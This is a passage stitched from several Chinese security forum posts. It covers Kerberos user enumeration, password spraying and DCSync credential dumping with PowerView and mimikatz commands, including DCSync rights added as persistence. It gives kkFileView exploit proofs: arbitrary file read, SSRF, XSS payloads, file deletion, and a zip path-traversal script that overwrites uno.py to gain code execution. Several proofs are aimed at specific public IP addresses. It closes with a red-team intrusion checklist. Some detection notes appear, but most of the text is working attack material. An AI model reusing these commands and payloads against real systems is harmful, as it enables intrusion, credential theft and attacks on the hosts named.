但是这里与正常的加密类型是不同的,Mimikatz的伪造是RC4的加密类型,而正常的SPN关联在机器账户下的一般都是AES加密,因此对于伪造访问服务CIFS的ST票据而言,白银票据的流量也比较容易识别 常见的伪造服务类型如下 Tips: 开启PAC验证可防御白银票据(Server发送PAC的数字签名给KDC校验) 用户名枚举和口令暴力破解三种情况存在用户存在用户描述:error_code:eRR-PREAUTH-REQUIRED 密码错误描述:error_code:eRR-PREAUTH-FAILED 不存在的用户描述:error_code:eRR-C-PRINCIPALL-UNKNOWN kerbrute使用场景不在域内的情况下且无法通过LDAP或者SAMR协议去获取域内用户(如果掌握域内用户名以及密码,域外也可通过LDAP与域控交互获取信息) 若攻击主机在域外,需要主机能与域控直接交互 不会有像LDAP暴力破解产生的日志(4625 - An account failed to log on) 主要原理发送构造的AE-REQ请求包后,通过返回的包的区别来判断用户是否存在以及密码是否正确 用户名枚举域内 kerbrute_windows_amd64.exe userenum -d god.org username.txt 域外 kerbrute_windows_amd64.exe userenum --dc 192.168.52.138 -d god.org username.txt 需指定Dc的ip地址 密码喷洒指定密码,遍历用户名 kerbrute_windows_amd64.exe passwordspray -d god.org username.txt Abc123! 第一个包发送用户名 DC返回用户名正确后发送第二个AS-REQ,其中包含了密码的NTLM HASH pyKerbrute3gstudent师傅实现的Python版本的kerbrute,添加了两个功能 ◼增加对TCP协议的支持 ◼增加对NTLM hash的验证 用户名枚举EnumADUser.py主要实现的就是发一个As-REQ结构的包修改CnameString即可(固定sname指向krbtgt) EnumADUser.py : EnumADUser.py 192.168.52.138 god.org user.txt tcp 与kerbrute发送的数据包稍有区别 密码喷洒首先pyKerbrute分成了两种模式,clearpassword和ntlmhash classpassword:实现了将明文加密成NTLM Hash然后通过RC4-HMAC加密算法加密时间戳,然后也可以通过ntlmhash模块来密码喷洒 ntlmhash:直接通过RC4-HMAC-MD5加密算法加密时间戳 ADPwdSpray.py : ADPwdSpray.py 192.168.52.138 god.org username.txt clearpassword Abc123! udp 与kerbrute发送的数据包在支持的加密算法上有较大区别,不如kerbrute隐秘 pyKerbrute这里就发送了一个包,没有发送判断用户名是否存在,直接请求认证,且加密算法指定了RC4-HMAC-MD5,kerbrute支持多种加密方法 稍微看了下Kerbrute的代码,发现实现的方法NewWithPassword来自gokrb5这个库,该库便利了用于客户端与服务端的Kerberos相关认证,而且库中实现了众多的加密算法 Kerberos pre-auth bruteforcing的检测Kerbrute使用Kerberos pre-auth协议,不会产生日志(4625 - An account failed to log on) 但是会产生以下日志: ◼口令验证成功时产生日志(4768 - A Kerberos authentication ticket (TGT) was requested) ◼口令验证失败时产生日志(4771 - Kerberos pre-authentication failed) 我自己本地域控查看日志发现,存在4768,但是用户正确,密码错误并不会爆出4771,没有任何提示 成功 失败空 解决通过查阅资料,找到了修改登录策略的地方,具体可查看Audit Kerberos Authentication Service 修改审核策略后可捕获到4771类型: Dcsync攻击DCSync攻击原理利用目录复制服务远程协议(DRSR)协议从域控制器获取敏感信息 将当前主机伪装成域控制器(DC),并通过发出请求说服真实的DC将其数据库与该主机伪装的恶意DC同步 利用条件需要具备如下扩展权限对应的DACL 根据3gstudent师傅的文章总结如下的组内用户具有上述权限 ◼Administrators组内的用户 ◼Domain Admins组内的用户 ◼Enterprise Admins组内的用户 ◼域控制器的计算机帐户 实践这里指的Administrator组内的用户不是指域机器上的本地Administrators,而是域控制器上的本地Administrators组。这里以红日靶场一举Administrators组内用户的例子 比如likaifeng01这个用户,通过域控查看工具,或者终端DOS命令查看liukaifeng01所在的组 该用户是域控本地管理员组成员,但不是域管成员 通过Powerview的Get-DomainObjectAcl来获取该成员的ACL控制列表查看上述三项权限 DS-Replication-Get-Changes-In-Filtered-Set DS-Replication-Get-Changes DS-Replication-Get-Changes-All 满足上述三项权限,通过mimikatz的dcsync功能来导出Hash 也可以通过PowerView来直接为普通域用户一次性加上上述的三条特权,就可以具有执行Dcsync攻击的权限了,可以作为一种权限维持的方法 首先添加一个普通域用户hack,利用hack直接Dcsync会失败 以管理员权限通过PowerView给域用户hack加上三个扩展特权 Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity hack -Rights DCSync -Verbose 然后通过ADfind.exe或者Get-DomainObjectAcl查看用户拥有的特权 AdFind.exe -sc getacls -sddlfilter ;;;;;god\hack -recmute Get-ObjectAcl -Identity "dc=god,dc=org" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-2952760202-1353902439-2381784089-1111"} 图截不全,上面已经证明hack用户有这三个权限后,再次通过mimikatz来调用dcsync模块,可获取全部的Hash 然后删除该用户的三个扩展特权可以用如下命令 Remove-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity hack -Rights DCSync -Verbose 删除后再次使用Dcsync模块,已不能获取 Tips Dcsync攻击可以作为权限维持的方式=>拿到高权限后可以通过Powerview中的Add-DomainObjectAcl给普通用户添加上述三个特权,使普通用户仍然可以通过Dcsync获取所有Hash 工具地址kerbrute pyKerbrute Rubeus kerberoast Invoke-Kerberoast 学习参考链接上文学习总结自3gstudent文章,倾旋博客,unknowsec博客,car7n博客,Muxueo博客,harmj0y博客,安全客等等 当时看的有点太杂了,整理完笔记后发现很多粗看的文章都没记下来文章链接 渗透技巧——通过Kerberos pre-auth进行用户枚举和口令爆破 Kerberos的黄金票据详解 Kerberos的白银票据详解 彻底理解Windows认证 – 议题解读 手把手教你入门内网渗透之二 Kerberos Pass the Hash with Remote Desktop(Restricted Admin mode) 【技术分享】Kerberoasting:一种Kerberos活动目录攻击方法 域渗透——Kerberoasting 高级域渗透技术之再谈Kerberoast攻击 Roasting AS-REPs 关于PAC对于PAC有疑惑的可以看下面的下四篇文章 Windows内网协议学习Kerberos篇之PAC 了解 Microsoft Kerberos PAC 验证 PAC在Kerberos认证协议中的作用 什么是 Kerberos PAC 来源: https://forum.butian.net/share/614
  6. 0x00 kkFileview存在任意文件读取漏洞 漏洞描述 Keking KkFileview是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。Keking kkFileview 存在安全漏洞,该漏洞源于存在通过目录遍历漏洞读取任意文件,可能导致相关主机上的敏感文件泄漏。 漏洞影响 kkFileview <=3.6.0 fofa查询 body="kkFile:View" 漏洞证明 http://103.39.221.102:8012//getCorsFile?urlPath=file:///etc/passwd 0x01 kkFileView SSR 漏洞 漏洞描述 kkFileview v4.1.0存在SSRF漏洞,攻击者可以利用此漏洞造成服务器端请求伪造(SSRF),远程攻击者可以通过将任意url注入url参数来强制应用程序发出任意请求。 漏洞影响 kkFileview =v4.1.0 漏洞证明 http://121.40.238.48:8012//getCorsFile?urlPath=aHR0cDovL2QyYjY0NWQ3LmRucy5kbnNtYXAub3Jn 0x03 kkFileView XSS漏洞 漏洞描述 kkFileview v4.1.0存两处XSS漏洞,可能导致网站cookies泄露。 漏洞影响 kkFileview =v4.1.0 漏洞证明 http://www.baidu.com/test.txt"><img src=111 onerror=alert(1)> 编码base64: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg== url编码: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D poc1: /onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E /picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D http://139.9.164.127:8012/onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E http://119.91.146.127:8012/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D <svg/onload=alert(1)>编码base64: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+ url编码: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B poc2: /picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B http://119.91.146.127:8012/picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B 0x04 kkFileView任意文件上传导致xss和文件包含漏洞 漏洞描述 kkFileview全版本存在文件解析漏洞,攻击者可以利用此漏洞造成存储型 XSS、文件包含或者SSRF,远程攻击者可以通过将任意JavaSript脚本上传到服务器来持久性的利用应用程序发出攻击请求 漏洞影响 kkFileView=4.1.0 漏洞证明 1、上传文件 2、访问漏洞位置 http://139.9.101.60:8012/demo/2.html 2.文件包含: https://file.keking.cn/demo/test1.js 访问: https://file.keking.cn/demo/test14.html 0x05 kkFileView任意文件删除漏洞 漏洞描述 kkFileview v4.0.0存在任意文件删除漏洞,可能导致系统任意文件被删除 漏洞影响 kkFileview= v4.0.0 漏洞证明 /deleteFile?fileName=demo%2F..\xss.pdf get请求此uri会删除\kkFileView-master\server\src\main\file目录中的xss.pdf(原本只能删除\kkFileView-master\server\src\main\file\demo目录下的文件) 0x06 kFileView-v4.3.0~v4.40-beta 存在RCE漏洞 漏洞影响:v4.2.1 和 v4.2.0 都是影响,4.1.0不受影响 任意文件上传 import zipfile if __name__ == "__main__": try: binary1 = b'1ueeeeee' binary2 = b'hacked_by_1ue' zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("hack.zip") zipFile.writestr("test", binary1) zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2) zipFile.close() except IOError as e: raise e 制作恶意hack.zip,注意里面必须有一个正常文件,例如test,便于创建hack.zip_缓存文件 上传文件并预览 发现成功穿越 RCE 可以任意文件上传,并且可以追加文件内容 经过我研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容 import zipfile if __name__ == "__main__": try: binary1 = b'1ue' binary2 = b'import os\r\nos.system(\'touch /tmp/hack_by_1ue\')' zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("hack.zip") zipFile.writestr("test", binary1) zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2) zipFile.close() except IOError as e: raise e 制作恶意的zip包 上传并预览 再随便上传一个odt文件,另其发起libreoffice任务 上传并预览 可以看到命令成功被执行 uno.py中也确实被写入了内容
  7. 日常流程简要说明入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护 0x01 入口权限获取 [ 前期侦察,搜集阶段本身就不存在太多可防御的点,非防御重心 ]1.绕CDN找出目标所有真实ip段(1).通过全国多个PING,查看IP地址是否唯一来判断是否存在CDNhttp://ping.chinaz.com/https://tools.ipip.net/ping.phphttps://www.17ce.com/https://www.cdnplanet.com/tools/cdnfinder/(2).通过之前的DNS绑定历史记录来查找真实IP地址https://x.threatbook.cn/https://viewdns.info/https://www.ip138.com/http://toolbar.netcraft.com/site_report?url=https://securitytrails.com/(3).通过获取多个子域名,并批量对多个子域名进行ping,可判断该子域名的IP段就是真实IP段(主站用了CND,而子域名分站不用Cdn解析)Layer子域名挖掘机/GoogleHackinghttps://phpinfo.me/domain/http://tool.chinaz.com/subdomain/https://github.com/lijiejie/subDomainsBrute(4).利用SSL证书寻找真实原始IPhttps://censys.io/https://crt.sh/(5).使用国外主机解析域名https://asm.ca.com/zh_cn/ping.phphttps://asm.saas.broadcom.com/zh_cn/register.phphttps://dnscheck.pingdom.com(6).网站漏洞查找如phpinfo或者github敏感信息泄露或者Apache status和Jboss status敏感信息泄露、网页源代码泄露、svn信息泄露信、github信息泄露(7).网站邮件订阅查找RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。(8).入侵CDN,通过漏洞或者或者社工弱口令进入。(9).通过ZMAP和Zgrab全网扫描获取真实IP获取IP段:https://www.ip2location.com/free/visitor-blockerhttps://www.ipdeny.com/ipblocks/https://www.t00ls.net/articles-40631.html(Zgrab)https://levyhsu.com/2017/05/%e5%88%a9%e7%94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/http://bobao.360.cn/learning/detail/211.html(ZMAP)(10).网络空间安全引擎搜索钟馗之眼:https://www.zoomeye.orgShodan:https://www.shodan.ioFofa:https://fofa.s(11).奇特的 ping如ping www.163.com,如果ping 163.con就可以绕过(12).可以ping以前的旧的域名(13).F5 LTM解码法当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的真实ip2.找目标的各种Web管理后台登录口(1)批量抓取目标所有真实C段 Web banner工具:iisput (2).批量对目标所有真实C段进行基础服务端口扫描探测识别工具:御剑端口扫描,Goby (3).尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破DNS域传输:C:\Users\lj>nslookup默认服务器: UnKnownAddress: 211.82.100.1> server dns1.thnu.edu.cn默认服务器: dns1.thnu.edu.cnAddress: 125.223.168.5> ls thnu.edu.cn子域名爆破:Layer(4).批量抓取目标所有子域 Web bannerLayer(5)、批量对目标所有子域集中进行基础服务端口探测识别工具:御剑端口扫描,Goby(6)批量识别目标所有存活Web站点的Web程序指纹及其详细版本https://github.com/EdgeSecurityTeam/EHolehttps://github.com/zhzyker/vulmap http://finger.tidesec.com/http://whatweb.bugscaner.com/look/https://fp.shuziguanxing.com/#/https://www.yunsee.cn/(6)从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey"https://github.com/0xbug/Hawkeyehttps://github.com/FeeiCN/GSIL(6)从网盘/百度文库 中查找目标泄露的各类 敏感文件 及 账号密码http://www.daysou.com/(网盘搜索) (7)从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ]https://www.madebug.net/(8)目标Svn里泄露的各类 敏感文件工具:Seay SVN漏洞利用工具 (9)网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...] 工具:御剑目录,dirsearchhttps://github.com/foryujian/yjdirscanhttps://github.com/maurosoria/dirsearch (10)目标站点自身在前端代码中泄露的各种敏感信息 (11)fofa / shodan / bing / google hacking 深度利用 (12)搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱曾经是否泄露过密码 ]学生学号官网网站以及贴吧论坛收集,员工工号到官网网站或者社工库和github上搜索 (13)目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息 (14)目标微信小程序以及公众号(15)分析目标app Web请求(16)借助js探针搜集目标内网信息 (17)想办法混入目标的各种 内部QQ群 / 微信群 (18)分析目标直接供应商 [尤其是技术外包] (19)根据前面已搜集到的各类信息制作有针对性的弱口令字典https://xsshs.cn/xss.php?do=pass (20)目标所用 Waf 种类识别 与 绕过https://github.com/EnableSecurity/wafw00f(waf识别) (21)BypassWAF 文件上传 / 读取 / 下载 (22) BypassWAF Sql注入 (23) BypassWAF RCE (24) BypassWAF 各类Java Web中间件已知Nday漏洞利用 (25)BypassWAF Webshell 免杀 其它更多 , 待补充修正... 0x02 入口权限获取 [ 外部防御重心 ( "重中之重" ) ]此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用 如下已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向 故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序" 及 "web组件" 针对各类Java中间件的各种已知Nday漏洞利用不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑 所以拿到的shell权限一般也非常高,通常都直接是服务器权限 尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限 关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的 Struts2Struts2-005 Struts2-008 Struts2-009 Struts2-013 Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高) Struts2-019 Struts2-020 Struts2-devmode Struts2-032 Struts2-033 Struts2-037 Struts2-045 Struts2-046 Struts2-048 Struts2-052 Struts2-053 Struts2-057 利用工具:https://github.com/HatBoy/Struts2-ScanweblogicCVE-2019-2725 CVE-2019-2729 CVE-2018-3191 CVE-2018-2628 CVE-2018-2893 CVE-2018-2894 CVE-2017-3506 CVE-2017-10271 CVE-2017-3248 CVE-2016-0638 CVE-2016-3510 CVE-2015-4852 CVE-2014-4210 SSRF 控制台弱口令,部署webshell 工具检查和漏洞利用:https://github.com/0xn0ne/weblogicScanner(工具检查)https://github.com/zhzyker/exphub/tree/master/weblogic (工具利用) JbossCVE-2015-7501 CVE-2017-7504 CVE-2017-12149 未授权访问,部署webshell 控制台弱口令,部署webshell 利用工具:https://github.com/joaomatosf/jexbosshttps://github.com/joaomatosf/JavaDeserH2HCwildfly [ jboss 7.x 改名为 wildfly ]控制台弱口令,部署webshell TomcatCVE-2016-8735 CVE-2017-12615 [ readonly 实际设为 true的情况较少,稍鸡肋 ] CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ] 控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ] 漏洞利用总结:https://blog.csdn.net/weixin_42918771/article/details/104844367https://mp.weixin.qq.com/s/ZXoCJ9GhMaTvVFeYn8vMUAhttps://saucer-man.com/information_security/507.html#cl-11 JekinsCVE-2018-1999002 [任意文件读取] 未授权访问,任意命令执行 控制台弱口令,任意命令执行 漏洞利用总结:https://www.cnblogs.com/junsec/p/11593556.htmlhttps://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/https://github.com/gquere/pwn_jenkins ElasticSearchCVE-2014-3120 [专门针对老版本(无沙盒)RCE] CVE-2015-1427 [Groovy RCE] CVE-2015-3337 [任意文件读取] 未授权访问,敏感信息泄露 漏洞总结:https://jishuin.proginn.com/p/763bfbd3aa0dhttps://mp.weixin.qq.com/s?__biz=MzAwMjgwMTU1Mg==&mid=2247484799&idx=2&sn=b91f5bc7a31f5786a66f39599ea44bffhttps://blog.csdn.net/u011066706/article/details/51175761 https://www.cnblogs.com/AtesetEnginner/p/12060537.html RabbitMQ弱口令默认账号密码都是guest/guest(默认端口:15672,25672,15692) Glassfish任意文件读取 [ 低版本 ] 控制台弱口令,部署webshell 漏洞利用:http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfileIBM WebsphereJava 反序列化 控制台弱口令,部署webshell 漏洞利用https://www.lxhsec.com/2019/03/04/middleware/https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/WebSphere/CVE-2020-4643%20IBM%20WebSphere%E5%AD%98%E5%9C%A8XXE%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/https://github.com/Ares-X/VulWikihttps://xz.aliyun.com/t/8248 Axis2任意文件读取 目录遍历 漏洞利用:https://xz.aliyun.com/t/6196https://paper.seebug.org/1489/#23-axis2https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Apache%20Axis/%EF%BC%88CVE-2019-0227%EF%BC%89Apache%20Axis%201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/https://github.com/CaledoniaProject/AxisInvokerhttps://github.com/Fnzer0/Axis-RCEhttps://paper.seebug.org/1489/ Apache ActiveMQ未授权访问,5.12 之前的版本 fileserver存在 PUT任意写 CVE-2015-5254 漏洞利用:http://wiki.sentrylab.cn/0day/ActiveMQ/3.htmlhttps://www.freebuf.com/column/161188.htmlhttps://www.taodudu.cc/news/show-2345492.html Apache SolrCVE-2017-12629 CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ] 漏洞利用:https://xz.aliyun.com/search?keyword=Solrhttps://www.jianshu.com/p/43e7f13e2058https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/https://cloud.tencent.com/developer/article/1810723 http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Solr/?h=Apache%20Solr Apache Zookeeper未授权访问,敏感信息泄露 Apache Shiro反序列化fastjson <= 1.2.47 反序列化利用针对各类Windows php集成环境 [ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ]AppServ Xampp 宝塔 PhpStudy ...... 针对各类开源程序的 已知Nday漏洞利用Dedecms 后台弱口令,系列已知nday漏洞利用 thinkphp 5.x 后台弱口令,系列已知nday漏洞利用 phpcms 后台弱口令,系列已知nday漏洞利用 ecshop 后台弱口令,系列已知nday漏洞利用 Metinfo 后台弱口令,系列已知nday漏洞利用 discuz 后台弱口令,系列已知nday漏洞利用 帝国cms 后台弱口令,系列已知nday漏洞利用 phpmyadmin 数据库弱口令,系列已知nday漏洞利用 wordpress 后台弱口令,系列已知nday漏洞利用 joomla 后台弱口令,系列已知nday漏洞利用 drupal CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用 ...... 针对其它各类Web组件的 已知Nday漏洞利用IIS 6.0 RCE短文件漏洞 PUT 任意写 Webdav RCE CVE-2017-7269 禅道项目管理系统SQL注入 文件读取 远程执行 通达OASQL注入 任意上传 Exchange利用接口进行邮箱用户名枚举 针对各个接口的弱口令爆破 CVE-2020-0688 [ 利用前提是需要先得有任意一个邮箱用户权限 ] .... Zimbra [ XXE + SSRF => RCE ]CVE-2013-7091 CVE-2016-9924 CVE-2019-9670 CitrixCVE-2019-19781 Jumpserver身份验证绕过 ZabbixCVE-2017-2824 SQL注入 [ 2.0 老版本 ] 控制台弱口令,敏感机器信息泄露 Cacti低版本 SQL注入 控制台弱口令 NagiosCVE-2016-9565 控制台弱口令 Webmin RCECVE-2019-15107 PHPMailerCVE-2016-10033 泛微OA远程代码执行金蝶OA SQL注入Coremail 敏感文件泄露UEditor 任意文件上传OpenSSL心脏滴血抓明文账号密码 [ Heartbleed ]破壳漏洞 [ Shellshock ]各种能快速getshell的常规基础Web漏洞利用 [ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ]后台弱口令 SSRF sql注入 越权 命令 / 代码执行 / 反序列化 任意文件上传 / 下载 / 读取 包含 XSS(实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命) 业务逻辑漏洞 针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用Pulse Secure VPNCVE-2019-11510 [ 任意文件读取 ] Fortinet VPNCVE-2018-13379 [ 文件读取 ] Sangfor Vpn RCE0x03 入口权限获取 [ 专门针对各类基础服务端口的各种getshell利用,防御重点 ( "重中之重" ) ]此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 同样,已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序 如下,就每个端口的具体攻击利用方式,进行了简要说明 Top Port ListMssql [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ] SMB [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ] WMI [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ] WinRM [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ] RDP [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ] SSH [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ] ORACLE [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ] Mysql [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ] REDIS [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ] POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ] LDAP [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ] SMTP [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ] POP3 [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ] IMAP [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ] Exchange [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ] VNC [ 默认工作在tcp 5900端口, 弱口令 ] FTP [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ] Rsync [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ] Mongodb [ 默认工作在tcp 27017端口, 未授权, 弱口令 ] TELNET [ 默认工作在tcp 23端口, 弱口令, 后门植入 ] SVN [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ] JAVA RMI [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ] CouchDB [ 默认工作在tcp 5984端口, 未授权访问 ] 0x04 入口权限获取传统钓鱼攻击利用,实际护网场景中用的非常频繁,细节非常多,此处不一一列举,防御重点发信前期准备枚举有效的目标邮箱用户名列表 批量探测目标邮箱弱口令 伪造发信人 [ 发信邮服搭建 ] 钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ] ...... 典型投递方式第一种,直接给目标发送各种常规木马信 传统宏利用 捆绑 exe[zip,7z] lnk chm 自解压 木马链接 OLE CVE-2017-11882 [ 利用漏洞触发 ] ... 第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 Vpn Mail OA Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ] ...... 0x05 主机安全 [ 提权利用,防御重点 ]以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及 Windows 系统漏洞 本地提权 [ 成功的前提是,保证事先已做好各种针对性免杀 ]BypassUAC [ win7 / 8 / 8.1 / 10 ] MS14-058[KB3000061] [重点] MS14-068[KB3011780] [重点] ms15-051[KB3045171] [重点] MS15-077[KB3077657] [重点] MS16-032[KB3124280] [重点] ms16-075 [重点] MS16-135[KB3199135] [重点] MS17-010[KB4013389] [重点] cve-2019-0708 [重点] CVE-2019-0803 [重点] CVE-2019-1322 & CVE-2019-1405 [重点] cve-2019-12750 [ 赛门铁克(用的较多)本地提权 ] [重点] linux 内核漏洞 本地提权 [ linux-exploit-suggester ]CVE-2016-5195 [重点] CVE-2017-16995 CVE-2019-13272 利用各类第三方服务 / 软件工具提权Mssql [重点] Oracle [重点] Mysql 各类第三方软件dll劫持 [重点] suid权限 计划任务 各种错误服务配置利用 0x06 内网安全 [ 敏感信息搜集,防御重点,可在此项严格限制各种系统内置命令执行 ]搜集当前已控"跳板机"的各类敏感信息注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述 查看当前shell权限 及 详细系统内核版本 获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip 获取当前系统最近的用户登录记录 获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ] 获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息 获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ] 获取本机 rdp / ssh 端口开启状态 及 其默认端口号 获取本机所有用户的rdp外连记录 获取本机的所有SSH登录记录 获取当前系统所有登录成功的日志 [ 针对windows ] 获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ] 获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录 获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ] 获取当前用户 桌面 及 回收站 里的所有文件列表 获取当前系统的所有存在suid权限的二进制程序 获取当前系统代理 [ ip & 端口 ] 获取当前系统所有的自启动注册表项值 获取当前系统的所有 ipc 连接 及 已启用共享 获取当前系统的所有挂载[mount] 获取当前系统的防火墙状态 获取当前系统所有分区/盘符及其详细使用情况 获取本机的累计开机时长 获取本机arp / dns缓存 获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ] 获取当前系统所有本地用户及组列表 获取当前系统host文件内容 获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ] 远程截屏捕捉目标用户敏感操作 由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作 利用当前已控 "跳板机", 分析目标内网大致网络拓扑 及 所有关键性业务机器分布批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" [smb探测扫描]针对内网的各种高危敏感服务定位["安全" 端口扫描 